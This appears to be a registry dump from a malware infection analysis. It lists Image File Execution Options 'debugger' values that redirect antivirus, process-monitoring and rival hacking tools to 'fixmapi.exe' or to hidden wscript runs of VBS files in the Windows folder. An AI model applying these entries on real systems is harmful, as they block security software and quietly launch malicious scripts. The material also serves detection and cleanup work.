[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgrr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsaoss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDPSS.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safesurf.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xscan_gui.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pex.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MailCracker.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stinger.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rootkitremover.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MvtApp.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.2.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\restarter_x64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoDENGI.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUB8.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IObitUninstaler.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xp64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EmailSpider.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Suo12_StartupManager.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForcerX+__.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Cain.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASMAIN.EXE] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNT.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemExplorer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWelcome.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTools.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDSysRepair.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShell.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDRootAlyzer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDScan.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpybotSD.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Panda_URL_Filtering.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs...
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cureit.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tcpview.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpvcon.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avz.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeter.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dll32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPortScan3.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfcs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EnterpriseConsole.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pr.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OpenHardwareMonitor.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NL.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmpenc_st.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Pauscher.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ess.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hscangui.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Process Explorer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lamescan3.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dr.Web.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute1.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDP Brute_Cracked.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVRT.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2 x64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\anvirlauncher.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SombraLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Pastebin Spider.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frdpb_v2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WindowsUpdate.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svdhost.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\turbomailer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartupChecker.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spydetector323eng.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear5.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bot.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\revshow.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgarkt.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSys_Monitor.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sound.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetMonitor.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDSC.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESETPoweliksCleaner.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs...
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Private Keeper.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AnVir.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SysInspector.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rthdcpd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\task.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winscp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\help.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Microsoft.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhostw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmEventCollector.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsdefrag.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sitehelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cefutil.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\romserver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ApVxdWin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSROL.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\command.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE64.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwwin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srcver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpscvs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wtssvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\szndesktop.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmTaskTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmWebService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeterSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProtectorPlus.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SSScheduler.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InjectWinSockServiceV3.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jusched.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NableAVDBridge.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\soqkci.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SUPERANTISPYWARE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscnhlp2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShred.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmvp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInspRep.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssrs.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\apgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfblock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auditd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ciprotect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zam.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IProtectorService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftPage.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcefrend.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\epag.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointintegration.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updateservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msrtn32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdhtr.exe] 'debugger' = 'fixmapi.exe'
